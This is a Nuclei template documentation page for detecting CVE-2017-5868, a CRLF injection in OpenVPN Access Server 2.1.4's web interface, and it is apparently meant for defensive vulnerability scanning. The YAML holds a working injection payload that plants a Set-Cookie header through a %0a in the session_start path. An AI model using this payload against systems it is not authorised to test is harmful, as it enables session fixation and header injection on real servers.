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Nuclei Templates

OpenVPN Access Server 2.1.4 - CRLF Injection

ID: CVE-2017-5868

Severity: medium

Author: ritikchaddha

Tags: cve,cve2017,openvpn,crlf

Description

Section titled “Description”

CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via “%0A” characters in the PATH_INFO to session_start/.

YAML Source

Section titled “YAML Source”
id: CVE-2017-5868


info:
  name: OpenVPN Access Server 2.1.4 - CRLF Injection
  author: ritikchaddha
  severity: medium
  description: |
    CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.
  reference:
    - https://www.openwall.com/lists/oss-security/2017/05/23/13
    - http://www.securitytracker.com/id/1038547
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5868
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-5868
    cwe-id: CWE-93
    epss-score: 0.00321
    epss-percentile: 0.71031
    cpe: cpe:2.3:a:openvpn:openvpn_access_server:2.1.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openvpn
    product: openvpn_access_server
    shodan-query: cpe:"cpe:2.3:a:openvpn:openvpn_access_server"
  tags: cve,cve2017,openvpn,crlf


http:
  - method: GET
    path:
      - "{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;"


    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"


      - type: status
        status:
          - 302
# digest: 4a0a00473045022100f3cae8aa1c48e00d976c07284182d037b7dae1159af227803b4e37bccc275555022051a64dfbe7e9466f2b3612e45a5063c2bf01148e8aa89a726901a4a0a2d309b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-5868.yaml"

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